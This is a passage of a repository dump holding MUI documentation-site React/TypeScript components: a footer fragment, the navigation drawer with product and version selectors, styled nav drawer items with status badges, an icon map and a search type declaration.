     title=\"X\"\n              size=\"small\"\n            >\n              <XIcon fontSize=\"small\" sx={{ color: iconColor }} />\n            </IconButton>\n            <IconButton\n              target=\"_blank\"\n              rel=\"noopener\"\n              href=\"https://www.youtube.com/@MUI_hq\"\n              aria-label=\"YouTube\"\n              title=\"YouTube\"\n              size=\"small\"\n            >\n              <YouTubeIcon fontSize=\"small\" sx={{ color: iconColor }} />\n            </IconButton>\n            <IconButton\n              target=\"_blank\"\n              rel=\"noopener\"\n              href=\"https://mui.com/feed/blog/rss.xml\"\n              aria-label=\"RSS Feed\"\n              title=\"RSS Feed\"\n              size=\"small\"\n            >\n              <RssFeedIcon fontSize=\"small\" sx={{ color: iconColor }} />\n            </IconButton>\n          </Stack>\n        </Stack>\n      </Stack>\n      <Snackbar\n        open={snackbarOpen}\n        autoHideDuration={3000}\n        onClose={handleCloseSnackbar}\n        message={snackbarMessage}\n      />\n    </React.Fragment>\n  );\n}\n\nAppLayoutDocsFooter.propTypes = {\n  location: PropTypes.string.isRequired,\n  tableOfContents: PropTypes.array,\n};\n"
  },
  {
    "path": "docs/src/modules/components/AppNavDrawer.tsx",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Button from '@mui/material/Button';\nimport Divider from '@mui/material/Divider';\nimport { styled, alpha, ThemeProvider, Theme } from '@mui/material/styles';\nimport List from '@mui/material/List';\nimport Drawer from '@mui/material/Drawer';\nimport Typography from '@mui/material/Typography';\nimport SwipeableDrawer from '@mui/material/SwipeableDrawer';\nimport ClickAwayListener from '@mui/material/ClickAwayListener';\nimport Fade from '@mui/material/Fade';\nimport Paper from '@mui/material/Paper';\nimport Popper from '@mui/material/Popper';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport Box from '@mui/material/Box';\nimport { unstable_useEnhancedEffect as useEnhancedEffect } from '@mui/utils';\nimport ArrowDropDownRoundedIcon from '@mui/icons-material/ArrowDropDownRounded';\nimport DoneRounded from '@mui/icons-material/DoneRounded';\nimport LogoWithCopyMenu from 'docs/src/components/action/LogoWithCopyMenu';\nimport AppNavDrawerItem from 'docs/src/modules/components/AppNavDrawerItem';\nimport { pageToTitleI18n } from '@mui/docs/helpers';\nimport PageContext, { ProductVersion } from '@mui/docs/PageContext';\nimport { useTranslate } from '@mui/docs/i18n';\nimport MuiProductSelector from 'docs/src/modules/components/MuiProductSelector';\nimport DiamondSponsors from 'docs/src/modules/components/DiamondSponsors';\nimport SideNavigationBanner from 'docs/src/components/banner/SideNavigationBanner';\nimport { MuiPage } from '@mui/docs/MuiPage';\n\n// TODO: Collapse should expose an API to customize the duration based on the height.\nfunction transitionTheme(theme: Theme) {\n  return {\n    ...theme,\n    transitions: {\n      ...theme.transitions,\n      getAutoHeightDuration: (height: number) => {\n        if (!height) {\n          return 0;\n        }\n\n        const constant = height / 80;\n\n        // https://www.wolframalpha.com/input/?i=(4+%2B+15+*+(x+%2F+36+)+**+0.25+%2B+(x+%2F+36)+%2F+5)+*+10\n        return Math.round((4 + 15 * constant ** 0.25 + constant / 5) * 10);\n      },\n    },\n  };\n}\n\nconst savedScrollTop: Record<string, number> = {};\n\nconst customButtonStyles = (theme: Theme) => ({\n  pl: 1,\n  pr: '6px',\n  height: 26,\n  fontSize: theme.typography.pxToRem(13),\n  fontWeight: theme.typography.fontWeightMedium,\n  letterSpacing: '0.01rem',\n});\n\ninterface ProductDrawerButtonProps {\n  productName: string;\n}\n\nfunction ProductDrawerButton(props: ProductDrawerButtonProps) {\n  const [open, setOpen] = React.useState(false);\n  const anchorRef = React.useRef<HTMLButtonElement>(null);\n\n  const handleToggle = () => {\n    setOpen((prevOpen) => !prevOpen);\n  };\n\n  const handleClose = (event: MouseEvent | TouchEvent) => {\n    if (anchorRef.current && anchorRef.current.contains(event.target as Node)) {\n      return;\n    }\n    setOpen(false);\n  };\n\n  function handleListKeyDown(event: React.KeyboardEvent<HTMLDivElement>) {\n    if (event.key === 'Tab') {\n      event.preventDefault();\n      setOpen(false);\n    } else if (event.key === 'Escape') {\n      setOpen(false);\n    }\n  }\n\n  return (\n    <React.Fragment>\n      <Button\n        size=\"small\"\n        id=\"mui-product-selector\"\n        ref={anchorRef}\n        aria-haspopup=\"true\"\n        aria-controls={open ? 'drawer-open-button' : undefined}\n        aria-expanded={open ? 'true' : undefined}\n        onClick={handleToggle}\n        endIcon={<ArrowDropDownRoundedIcon fontSize=\"small\" sx={{ ml: -0.5 }} />}\n        sx={customButtonStyles}\n      >\n        {props.productName}\n      </Button>\n      <Popper\n        open={open}\n        anchorEl={anchorRef.current}\n        role={undefined}\n        placement=\"bottom-start\"\n        disablePortal\n        transition\n        style={{ zIndex: 1200 }}\n      >\n        {({ TransitionProps }) => (\n          <Fade {...TransitionProps} timeout={250}>\n            <Paper\n              variant=\"outlined\"\n              sx={(theme) => ({\n                mt: 1,\n                minWidth: { xs: '100%', sm: 600 },\n                overflow: 'clip',\n                boxShadow: `0 4px 16px ${alpha(theme.palette.common.black, 0.15)}`,\n                ...theme.applyDarkStyles({\n                  bgcolor: 'primaryDark.900',\n                }),\n              })}\n            >\n              <ClickAwayListener onClickAway={handleClose}>\n                <MuiProductSelector\n                  autoFocusItem={open}\n                  id=\"mui-product-menu\"\n                  aria-labelledby=\"mui-product-selector\"\n                  onKeyDown={handleListKeyDown}\n                />\n              </ClickAwayListener>\n            </Paper>\n          </Fade>\n        )}\n      </Popper>\n    </React.Fragment>\n  );\n}\n\nProductDrawerButton.propTypes = {\n  productName: PropTypes.string,\n};\n\ninterface ProductIdentifierProps {\n  name: string;\n  metadata: string;\n  versionSelector: React.ReactNode;\n}\n\nfunction ProductIdentifier(props: ProductIdentifierProps) {\n  const { name, metadata, versionSelector } = props;\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Typography\n        sx={(theme) => ({\n          ml: '6px',\n          fontSize: theme.typography.pxToRem(10),\n          fontWeight: theme.typography.fontWeightBold,\n          textTransform: 'uppercase',\n          letterSpacing: '.1rem',\n          color: (theme.vars || theme).palette.text.tertiary,\n        })}\n      >\n        {metadata}\n      </Typography>\n      <Box sx={{ display: 'flex' }}>\n        <ProductDrawerButton productName={name} />\n        {versionSelector}\n      </Box>\n    </Box>\n  );\n}\n\nProductIdentifier.propTypes = {\n  metadata: PropTypes.string,\n  name: PropTypes.string.isRequired,\n  versionSelector: PropTypes.element.isRequired,\n};\n\n// To match scrollMarginBottom\nconst browserUrlPreviewMarge = 120;\n\ninterface PersistScrollProps {\n  children: React.ReactNode;\n  enabled: boolean;\n  slot: string;\n}\n\nfunction PersistScroll(props: PersistScrollProps) {\n  const { slot, children, enabled } = props;\n  const rootRef = React.useRef<HTMLDivElement>(null);\n\n  useEnhancedEffect(() => {\n    const scrollContainer = rootRef.current ? rootRef.current.parentElement : null;\n    const activeDrawerLink = scrollContainer?.querySelector('.app-drawer-active');\n\n    if (!enabled || !scrollContainer || !activeDrawerLink || !activeDrawerLink.scrollIntoView) {\n      return undefined;\n    }\n\n    scrollContainer.scrollTop = savedScrollTop[slot];\n\n    const activeBox = activeDrawerLink.getBoundingClientRect();\n\n    if (activeBox.top < 0 || activeBox.bottom + browserUrlPreviewMarge > window.innerHeight) {\n      // Scroll the least possible from the initial render, for example server-side, scrollTop = 0.\n      activeDrawerLink.scrollIntoView({ block: 'nearest' });\n    }\n\n    return () => {\n      // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- useEnhancedEffect uses useEffect under the hood\n      savedScrollTop[slot] = scrollContainer.scrollTop;\n    };\n  }, [enabled, slot]);\n\n  return <div ref={rootRef}>{children}</div>;\n}\n\nPersistScroll.propTypes = {\n  children: PropTypes.node.isRequired,\n  enabled: PropTypes.bool.isRequired,\n  slot: PropTypes.string.isRequired,\n};\n\nconst ToolbarDiv = styled('div')(({ theme }) => ({\n  padding: theme.spacing(1.5),\n  paddingRight: 0,\n  flexShrink: 0,\n  height: 'var(--MuiDocs-header-height)',\n  boxSizing: 'border-box', // TODO have CssBaseline in the Next.js layout\n  display: 'flex',\n  flexDirection: 'row',\n  alignItems: 'center',\n  justifyContent: 'space-between',\n  borderBottom: '1px solid',\n  borderColor: (theme.vars || theme).palette.divider,\n}));\n\nconst StyledDrawer = styled(Drawer)(({ theme }) => ({\n  [theme.breakpoints.up('xs')]: {\n    display: 'none',\n  },\n  [theme.breakpoints.up('lg')]: {\n    display: 'block',\n  },\n}));\n\nconst AppNavPaperComponent = styled('div')(() => {\n  return {\n    width: 'var(--MuiDocs-navDrawer-width)',\n    boxShadow: 'none',\n    border: '0 !important', // TODO add a Paper slot\n    overflowY: 'unset !important' as 'unset', // TODO add a Paper slot\n    boxSizing: 'border-box', // TODO have CssBaseline in the Next.js layout\n  };\n});\n\ninterface RenderNavItemsOptions {\n  onClose: () => void;\n  pages: MuiPage[];\n  activePageParents: MuiPage[];\n  depth: number;\n  t: (key: string) => string;\n}\n\nfunction renderNavItems(options: RenderNavItemsOptions) {\n  const { pages, ...params } = options;\n\n  return (\n    <List>\n      {pages.reduce(\n        (items, page) => reduceChildRoutes({ items, page, ...params }),\n        [] as React.ReactNode[],\n      )}\n    </List>\n  );\n}\n\ninterface ReduceChildRoutesContext extends Omit<RenderNavItemsOptions, 'pages'> {\n  items: React.ReactNode[];\n  page: MuiPage;\n}\n\nfunction reduceChildRoutes(context: ReduceChildRoutesContext): React.ReactNode[] {\n  const { onClose, activePageParents, items, depth, t } = context;\n  const { page } = context;\n  if (page.inSideNav === false) {\n    return items;\n  }\n\n  const title = pageToTitleI18n(page, t);\n  if (page.children && page.children.length >= 1) {\n    const topLevel = activePageParents.some(({ pathname }) => pathname === page.pathname);\n\n    let firstChild = page.children[0];\n\n    if (firstChild.subheader && firstChild.children) {\n      firstChild = firstChild.children[0];\n    }\n\n    const subheader = Boolean(page.subheader);\n    const [path, hash] = firstChild.pathname.split('#');\n    items.push(\n      <AppNavDrawerItem\n        linkProps={page.linkProps}\n        depth={depth}\n        key={title}\n        title={title}\n        href={{\n          pathname: path,\n          ...(firstChild.query && { query: firstChild.query }),\n          ...(hash && { hash }),\n        }}\n        legacy={page.legacy}\n        newFeature={page.newFeature}\n        planned={page.planned}\n        unstable={page.unstable}\n        beta={page.beta}\n        deprecated={page.deprecated}\n        plan={page.plan}\n        icon={page.icon}\n        subheader={subheader}\n        topLevel={topLevel && !page.subheader}\n        initiallyExpanded={topLevel || subheader}\n        expandable={!subheader}\n      >\n        {renderNavItems({\n          onClose,\n          pages: page.children,\n          activePageParents,\n          depth: subheader ? depth : depth + 1,\n          t,\n        })}\n      </AppNavDrawerItem>,\n    );\n  } else {\n    const [path, hash] = page.pathname.split('#');\n    items.push(\n      <AppNavDrawerItem\n        linkProps={page.linkProps}\n        depth={depth}\n        key={title}\n        title={title}\n        href={{\n          pathname: path,\n          ...(page.query && { query: page.query }),\n          ...(hash && { hash }),\n        }}\n        legacy={page.legacy}\n        newFeature={page.newFeature}\n        planned={page.planned}\n        unstable={page.unstable}\n        beta={page.beta}\n        deprecated={page.deprecated}\n        plan={page.plan}\n        icon={page.icon}\n        subheader={Boolean(page.subheader)}\n        onClick={onClose}\n      />,\n    );\n  }\n\n  return items;\n}\n\n// iOS is hosted on high-end devices. We can enable the backdrop transition without\n// dropping frames. The performance will be good enough.\n// So: <SwipeableDrawer disableBackdropTransition={false} />\nconst iOS = typeof navigator !== 'undefined' && /iPad|iPhone|iPod/.test(navigator.userAgent);\n\nexport interface AppNavDrawerProps {\n  className?: string;\n  disablePermanent: boolean;\n  mobileOpen: boolean;\n  onClose: () => void;\n  onOpen: () => void;\n}\n\nexport default function AppNavDrawer(props: AppNavDrawerProps) {\n  const { className, disablePermanent, mobileOpen, onClose, onOpen } = props;\n  const { activePageParents, pages, productIdentifier } = React.useContext(PageContext);\n  const [anchorEl, setAnchorEl] = React.useState<HTMLButtonElement | null>(null);\n  const t = useTranslate();\n  const mobile = useMediaQuery((theme) => theme.breakpoints.down('lg'));\n  const swipeableDrawer = disablePermanent || mobile;\n\n  const drawer = React.useMemo(() => {\n    const navItems = renderNavItems({ onClose, pages, activePageParents, depth: 0, t });\n\n    const renderVersionSelector = (versions: ProductVersion[]) => {\n      if (!versions?.length) {\n        return null;\n      }\n\n      const currentVersion = versions.find((version) => version.current) || versions[0];\n      return (\n        <React.Fragment>\n          <Button\n            variant=\"text\"\n            color=\"secondary\"\n            size=\"small\"\n            id=\"mui-version-selector\"\n            onClick={(event) => {\n              setAnchorEl(event.currentTarget);\n            }}\n            endIcon={\n              versions.length > 1 ? (\n                <ArrowDropDownRoundedIcon fontSize=\"small\" sx={{ ml: -0.5 }} />\n              ) : null\n            }\n            sx={customButtonStyles}\n          >\n            {currentVersion.text}\n          </Button>\n          <Menu\n            id=\"mui-version-menu\"\n            anchorEl={anchorEl}\n            open={Boolean(anchorEl)}\n            onClose={() => setAnchorEl(null)}\n          >\n            {versions.map((item) => {\n              if (item.text === 'View all versions') {\n                return [\n                  <Divider key=\"divider\" />,\n                  <MenuItem key=\"all-versions\" component=\"a\" href={item.href} onClick={onClose}>\n                    {`View all versions`}\n                  </MenuItem>,\n                ];\n              }\n              return (\n                <MenuItem\n                  key={item.text}\n                  {...(item.current\n                    ? {\n                        selected: true,\n                        onClick: () => setAnchorEl(null),\n                      }\n                    : {\n                        component: 'a',\n                        href: item.href,\n                        onClick: onClose,\n                      })}\n                >\n                  {item.text} {item.current && <DoneRounded sx={{ fontSize: 16, ml: 'auto' }} />}\n                </MenuItem>\n              );\n            })}\n          </Menu>\n        </React.Fragment>\n      );\n    };\n\n    return (\n      <React.Fragment>\n        <ToolbarDiv>\n          <LogoWithCopyMenu\n            logo={productIdentifier.logo}\n            logoSvgString={productIdentifier.logoSvg}\n            wordmarkSvgString={productIdentifier.wordmarkSvg}\n          />\n          <ProductIdentifier\n            name={productIdentifier.name}\n            metadata={productIdentifier.metadata}\n            versionSelector={renderVersionSelector(productIdentifier.versions)}\n          />\n        </ToolbarDiv>\n        <Box\n          sx={{\n            display: 'flex',\n            flexDirection: 'column',\n            flexGrow: 1,\n            overflow: 'hidden',\n            ...(swipeableDrawer\n              ? {}\n              : {\n                  borderRight: '1px solid',\n                  borderColor: 'divider',\n                }),\n          }}\n        >\n          <Box\n            sx={{\n              pt: 0.5,\n              pb: 5,\n              overflowY: 'auto',\n              flexGrow: 1,\n              scrollbarWidth: 'thin',\n            }}\n          >\n            <PersistScroll slot=\"side\" enabled>\n              {navItems}\n            </PersistScroll>\n          </Box>\n          <Box\n            sx={{\n              flexShrink: 0,\n              borderTop: '1px solid',\n              borderColor: 'divider',\n              p: 1,\n              display: 'flex',\n              flexDirection: 'column',\n              gap: 1,\n            }}\n          >\n            <DiamondSponsors />\n            <SideNavigationBanner />\n          </Box>\n        </Box>\n      </React.Fragment>\n    );\n  }, [onClose, pages, activePageParents, t, productIdentifier, anchorEl, swipeableDrawer]);\n\n  if (process.env.NODE_ENV !== 'production') {\n    if (!productIdentifier) {\n      throw new Error('docs-infra: missing productIdentifier in PageContext');\n    }\n    if (!productIdentifier.versions) {\n      throw new Error('docs-infra: missing productIdentifier.versions in PageContext');\n    }\n  }\n\n  return (\n    <ThemeProvider theme={transitionTheme}>\n      <nav className={className} aria-label={t('mainNavigation')}>\n        {swipeableDrawer ? (\n          <SwipeableDrawer\n            disableBackdropTransition={!iOS}\n            variant=\"temporary\"\n            open={mobileOpen}\n            onOpen={onOpen}\n            onClose={onClose}\n            ModalProps={{\n              keepMounted: true,\n            }}\n            slotProps={{\n              paper: {\n                component: AppNavPaperComponent,\n              },\n            }}\n          >\n            {drawer}\n          </SwipeableDrawer>\n        ) : (\n          <StyledDrawer\n            variant=\"permanent\"\n            slotProps={{\n              paper: {\n                component: AppNavPaperComponent,\n              },\n            }}\n            open\n          >\n            {drawer}\n          </StyledDrawer>\n        )}\n      </nav>\n    </ThemeProvider>\n  );\n}\n\nAppNavDrawer.propTypes = {\n  className: PropTypes.string,\n  disablePermanent: PropTypes.bool.isRequired,\n  mobileOpen: PropTypes.bool.isRequired,\n  onClose: PropTypes.func.isRequired,\n  onOpen: PropTypes.func.isRequired,\n};\n"
  },
  {
    "path": "docs/src/modules/components/AppNavDrawerItem.tsx",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport KeyboardArrowRightRoundedIcon from '@mui/icons-material/KeyboardArrowRightRounded';\nimport { alpha, styled, SxProps, Theme } from '@mui/material/styles';\nimport Collapse from '@mui/material/Collapse';\nimport Box from '@mui/material/Box';\nimport Chip from '@mui/material/Chip';\nimport { samePageLinkNavigation, Link, type LinkProps } from '@mui/docs/Link';\nimport { MuiPageIcon } from '@mui/docs/MuiPage';\nimport standardNavIcons from './AppNavIcons';\n\ninterface ItemBaseProps {\n  component?: React.ElementType;\n  depth: number;\n  subheader?: boolean;\n  hasIcon?: boolean;\n}\n\nfunction ItemBase({ component: Component = 'div', ...props }: ItemBaseProps) {\n  return <Component {...props} />;\n}\n\nconst Item = styled(ItemBase, {\n  shouldForwardProp: (prop) =>\n    prop !== 'depth' && prop !== 'hasIcon' && prop !== 'subheader' && prop !== 'expandable',\n})(({ theme }) => {\n  return [\n    {\n      ...theme.typography.body2,\n      position: 'relative',\n      display: 'flex',\n      alignItems: 'center',\n      borderRadius: 6,\n      color: `var(--_color, ${(theme.vars || theme).palette.text.secondary})`,\n      outline: 0,\n      width: '100%',\n      padding: 6,\n      justifyContent: 'flex-start',\n      fontWeight: theme.typography.fontWeightSemiBold,\n      transition: theme.transitions.create(['color', 'background-color'], {\n        duration: theme.transitions.duration.shortest,\n      }),\n      fontSize: theme.typography.pxToRem(14),\n      textDecoration: 'none',\n      paddingLeft: `calc(10px + (var(--_depth) + 1) * 13px - (var(--_expandable) * 21px))`,\n      '&::before': {\n        content: '\"\"',\n        display: 'block',\n        position: 'absolute',\n        zIndex: 1,\n        left: 9.5,\n        height: '100%',\n        width: 1,\n        opacity: 0,\n        background: (theme.vars || theme).palette.grey[100],\n      },\n      variants: [\n        {\n          props: ({ depth }) => depth === 0,\n          style: { '--_color': (theme.vars || theme).palette.text.primary },\n        },\n        {\n          props: ({ depth }) => depth !== 0,\n          style: {\n            fontWeight: theme.typography.fontWeightMedium,\n            '&::before': {\n              opacity: 1,\n            },\n          },\n        },\n        {\n          props: ({ subheader }) => !subheader,\n          style: [\n            {\n              '&:hover': {\n                color: (theme.vars || theme).palette.common.black,\n                backgroundColor: (theme.vars || theme).palette.grey[50],\n                '@media (hover: none)': {\n                  color: 'var(--_color)',\n                  backgroundColor: 'transparent',\n                },\n              },\n            },\n            theme.applyDarkStyles({\n              '&:hover': {\n                color: '#fff',\n                backgroundColor: alpha(theme.palette.primaryDark[700], 0.4),\n                '@media (hover: none)': {\n                  color: 'var(--_color)',\n                  backgroundColor: 'transparent',\n                },\n              },\n            }),\n          ],\n        },\n        {\n          props: ({ subheader }) => !!subheader,\n          style: [\n            {\n              '--_color': (theme.vars || theme).palette.text.tertiary,\n              marginTop: theme.spacing(1),\n              textTransform: 'uppercase',\n              letterSpacing: '.1rem',\n              fontWeight: theme.typography.fontWeightSemiBold,\n              fontSize: theme.typography.pxToRem(11),\n              '&::before': {\n                content: '\"\"',\n                display: 'block',\n                position: 'absolute',\n                zIndex: 1,\n                left: 9.5,\n                height: '55%',\n                top: 16,\n                width: 1,\n                opacity: 0,\n                background: (theme.vars || theme).palette.grey[100],\n              },\n              '&::after': {\n                content: '\"\"',\n                display: 'block',\n                position: 'absolute',\n                zIndex: 5,\n                left: 6,\n                height: 8,\n                width: 8,\n                borderRadius: 2,\n                opacity: 0,\n                background: alpha(theme.palette.grey[50], 0.5),\n                border: '1px solid',\n                borderColor: (theme.vars || theme).palette.grey[200],\n              },\n            },\n            theme.applyDarkStyles({\n              '&::before': {\n                background: (theme.vars || theme).palette.primaryDark[700],\n              },\n              '&::after': {\n                background: alpha(theme.palette.primaryDark[700], 0.8),\n                borderColor: alpha(theme.palette.primaryDark[600], 0.6),\n              },\n            }),\n          ],\n        },\n        {\n          props: ({ depth, subheader }) => depth !== 0 && subheader,\n          style: {\n            '&::after': {\n              opacity: 1,\n            },\n            '&::before': {\n              opacity: 1,\n            },\n          },\n        },\n        {\n          props: ({ hasIcon }) => !!hasIcon,\n          style: {\n            paddingLeft: 0,\n          },\n        },\n      ],\n      '&.app-drawer-active': {\n        // To match browserUrlPreviewMarge\n        scrollMarginBottom: 120,\n        color: (theme.vars || theme).palette.primary[600],\n        backgroundColor: (theme.vars || theme).palette.primary[50],\n        '&:hover': {\n          backgroundColor: alpha(theme.palette.primary[100], 0.8),\n          color: (theme.vars || theme).palette.primary[700],\n          '@media (hover: none)': {\n            backgroundColor: theme.vars\n              ? `rgba(${theme.vars.palette.primary.mainChannel} / ${theme.vars.palette.action.selectedOpacity})`\n              : alpha(theme.palette.primary.main, theme.palette.action.selectedOpacity),\n          },\n        },\n        '&::before': {\n          background: (theme.vars || theme).palette.primary[400],\n        },\n      },\n      '& .MuiChip-root': {\n        marginTop: '2px',\n      },\n      [theme.breakpoints.up('md')]: {\n        paddingTop: 4,\n        paddingBottom: 4,\n      },\n      '& .ItemButtonIcon': {\n        marginRight: '6px',\n        color: (theme.vars || theme).palette.primary.main,\n      },\n      '&:hover .ItemButtonIcon': {\n        color: (theme.vars || theme).palette.primary.light,\n        '@media (hover: none)': {\n          color: (theme.vars || theme).palette.primary.main,\n        },\n      },\n    },\n    theme.applyDarkStyles({\n      color: `var(--_color, ${(theme.vars || theme).palette.text.secondary})`,\n      '&::before': {\n        background: (theme.vars || theme).palette.primaryDark[700],\n      },\n      '&.app-drawer-active': {\n        color: (theme.vars || theme).palette.primary[300],\n        backgroundColor: (theme.vars || theme).palette.primaryDark[700],\n        '&:hover': {\n          backgroundColor: (theme.vars || theme).palette.primaryDark[600],\n          color: (theme.vars || theme).palette.primary[200],\n        },\n        '&::before': {\n          background: (theme.vars || theme).palette.primary[400],\n        },\n      },\n    }),\n  ];\n});\n\nconst ItemButtonIcon = styled(KeyboardArrowRightRoundedIcon, {\n  shouldForwardProp: (prop) => prop !== 'open',\n})<{ open: boolean }>({\n  fontSize: '1rem',\n  '&&:last-child': {\n    // overrides https://github.com/mui/material-ui/blob/ca7c5c63e64b6a7f55255981f1836a565927b56c/docs/src/modules/brandingTheme.ts#L757-L759\n    marginLeft: 0,\n  },\n  variants: [\n    {\n      props: { open: true },\n      style: {\n        transform: 'rotate(90deg)',\n      },\n    },\n  ],\n});\n\nconst StyledLi = styled('li', { shouldForwardProp: (prop) => prop !== 'depth' })<{ depth: number }>(\n  ({ theme }) => ({\n    display: 'block',\n    variants: [\n      {\n        props: {\n          depth: 0,\n        },\n        style: {\n          padding: theme.spacing(1, '10px', 0, '10px'),\n        },\n      },\n      {\n        props: ({ depth }) => depth !== 0,\n        style: {\n          padding: 0,\n        },\n      },\n    ],\n  }),\n);\n\nexport const sxChip = (color: 'warning' | 'success' | 'grey' | 'primary'): SxProps<Theme> => [\n  (theme) => ({\n    ml: 1,\n    fontSize: theme.typography.pxToRem(10),\n    fontWeight: 'semiBold',\n    textTransform: 'uppercase',\n    letterSpacing: '.04rem',\n    height: '16px',\n    border: 1,\n    borderColor: (theme.vars || theme).palette[color][300],\n    bgcolor: alpha(theme.palette[color][100], 0.5),\n    color: (theme.vars || theme).palette[color][900],\n    '&:hover': {\n      bgcolor: alpha(theme.palette[color][100], 0.5),\n    },\n    '& .MuiChip-label': {\n      px: '4px',\n    },\n  }),\n  (theme) =>\n    theme.applyDarkStyles({\n      borderColor: alpha(theme.palette[color][800], 0.5),\n      bgcolor: alpha(theme.palette[color][900], 0.5),\n      color: (theme.vars || theme).palette[color][300],\n      '&:hover': {\n        bgcolor: alpha(theme.palette[color][900], 0.5),\n      },\n    }),\n];\n\nfunction DeadLink(props: LinkProps & React.HTMLProps<HTMLDivElement>) {\n  const { activeClassName, href, noLinkStyle, prefetch, ...other } = props;\n  return <div {...other} />;\n}\n\nDeadLink.propTypes = {\n  activeClassName: PropTypes.any,\n  href: PropTypes.any,\n  noLinkStyle: PropTypes.any,\n  prefetch: PropTypes.any,\n};\n\nexport interface AppNavDrawerItemProps {\n  beta?: boolean;\n  children?: React.ReactNode;\n  deprecated?: boolean;\n  depth: number;\n  expandable?: boolean;\n  href?: string | object;\n  icon?: MuiPageIcon;\n  initiallyExpanded?: boolean;\n  legacy?: boolean;\n  linkProps?: Record<string, unknown> | undefined;\n  newFeature?: boolean;\n  onClick?: (event: MouseEvent) => void;\n  planned?: boolean;\n  subheader: boolean;\n  title?: string | null;\n  topLevel?: boolean;\n  unstable?: boolean;\n  plan?: 'community' | 'pro' | 'premium';\n}\n\nexport default function AppNavDrawerItem(props: AppNavDrawerItemProps) {\n  const {\n    beta,\n    children,\n    deprecated,\n    depth,\n    href,\n    icon,\n    legacy,\n    newFeature,\n    planned,\n    unstable,\n    linkProps,\n    onClick,\n    initiallyExpanded = false,\n    expandable = false,\n    plan = 'community',\n    subheader,\n    title,\n    topLevel = false,\n    ...other\n  } = props;\n  const [open, setOpen] = React.useState(initiallyExpanded);\n  const handleClick = (event: MouseEvent) => {\n    // Ignore click events meant for native link handling, for example open in new tab\n    if (samePageLinkNavigation(event)) {\n      return;\n    }\n\n    if (onClick) {\n      onClick(event);\n    }\n\n    if (expandable) {\n      event.preventDefault();\n      setOpen((oldOpen) => !oldOpen);\n    }\n  };\n\n  const IconComponent = typeof icon === 'string' ? standardNavIcons[icon] : icon;\n  const hasIcon = !!IconComponent;\n  const iconElement = hasIcon ? (\n    <Box\n      component=\"span\"\n      sx={{\n        '& svg': { fontSize: (theme) => theme.typography.pxToRem(16.5) },\n        display: 'flex',\n        alignItems: 'center',\n        height: '100%',\n        marginRight: '6px',\n      }}\n    >\n      <IconComponent fontSize=\"small\" color=\"primary\" />\n    </Box>\n  ) : null;\n\n  return (\n    <StyledLi {...other} depth={depth}>\n      {/* Fix overloading with prefetch={false}, only prefetch on hover */}\n      {/* @ts-ignore */}\n      <Item\n        component={subheader ? DeadLink : Link}\n        depth={depth}\n        hasIcon={hasIcon}\n        href={href}\n        prefetch={false}\n        subheader={subheader}\n        expandable={expandable}\n        activeClassName={initiallyExpanded ? null : 'app-drawer-active'}\n        className={topLevel ? 'algolia-lvl0' : null}\n        onClick={handleClick}\n        {...linkProps}\n        style={{\n          ...(linkProps?.style ?? {}),\n          '--_depth': depth,\n          '--_expandable': expandable ? 1 : 0,\n        }}\n      >\n        {iconElement}\n        {expandable && <ItemButtonIcon className=\"ItemButtonIcon\" open={open} />}\n        {title}\n        {plan === 'pro' && <span className=\"plan-pro\" title=\"Pro plan\" />}\n        {plan === 'premium' && <span className=\"plan-premium\" title=\"Premium plan\" />}\n        {legacy && <Chip label=\"Legacy\" sx={sxChip('warning')} />}\n        {newFeature && <Chip label=\"New\" sx={sxChip('success')} />}\n        {planned && <Chip label=\"Planned\" sx={sxChip('grey')} />}\n        {unstable && <Chip label=\"Preview\" sx={sxChip('primary')} />}\n        {beta && <Chip label=\"Beta\" sx={sxChip('primary')} />}\n        {deprecated && <Chip label=\"Deprecated\" sx={sxChip('warning')} />}\n      </Item>\n      {expandable ? (\n        <Collapse in={open} timeout=\"auto\" unmountOnExit>\n          {children}\n        </Collapse>\n      ) : (\n        children\n      )}\n    </StyledLi>\n  );\n}\n\nAppNavDrawerItem.propTypes = {\n  beta: PropTypes.bool,\n  children: PropTypes.node,\n  deprecated: PropTypes.bool,\n  depth: PropTypes.number.isRequired,\n  expandable: PropTypes.bool,\n  href: PropTypes.oneOfType([PropTypes.string, PropTypes.object]),\n  icon: PropTypes.elementType,\n  initiallyExpanded: PropTypes.bool,\n  legacy: PropTypes.bool,\n  linkProps: PropTypes.object,\n  newFeature: PropTypes.bool,\n  onClick: PropTypes.func,\n  plan: PropTypes.oneOf(['community', 'pro', 'premium']),\n  planned: PropTypes.bool,\n  subheader: PropTypes.bool.isRequired,\n  title: PropTypes.string.isRequired,\n  topLevel: PropTypes.bool,\n  unstable: PropTypes.bool,\n};\n"
  },
  {
    "path": "docs/src/modules/components/AppNavIcons.ts",
    "content": "/// <reference path=\"../../../types/icons.d.ts\"/>\nimport ArticleRoundedIcon from '@mui/icons-material/ArticleRounded';\nimport VisibilityRoundedIcon from '@mui/icons-material/VisibilityRounded';\nimport BookRoundedIcon from '@mui/icons-material/BookRounded';\nimport ChromeReaderModeRoundedIcon from '@mui/icons-material/ChromeReaderModeRounded';\nimport WebRoundedIcon from '@mui/icons-material/WebRounded';\n\nconst standardNavIcons = {\n  ReaderIcon: ChromeReaderModeRoundedIcon,\n  BookIcon: BookRoundedIcon,\n  DescriptionIcon: ArticleRoundedIcon,\n  VisibilityIcon: VisibilityRoundedIcon,\n  WebIcon: WebRoundedIcon,\n};\n\nexport default standardNavIcons;\n"
  },
  {
    "path": "docs/src/modules/components/AppSearch.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/material/styles';\nimport { MuiPageContext } from '@mui/docs/PageContext';\n\nexport function convertProductIdToName(productInfo: MuiPageContext): string | undefined;\n\nexport interface AppSearchProps {\n  sx?: SxProps;\n}\n\ndeclare const AppSearch: React.ComponentType<AppSearchProps>;\n\nexport default AppSearch;\n"
  },
  {
    "path": "docs/src/modules/components/AppSearch.js",
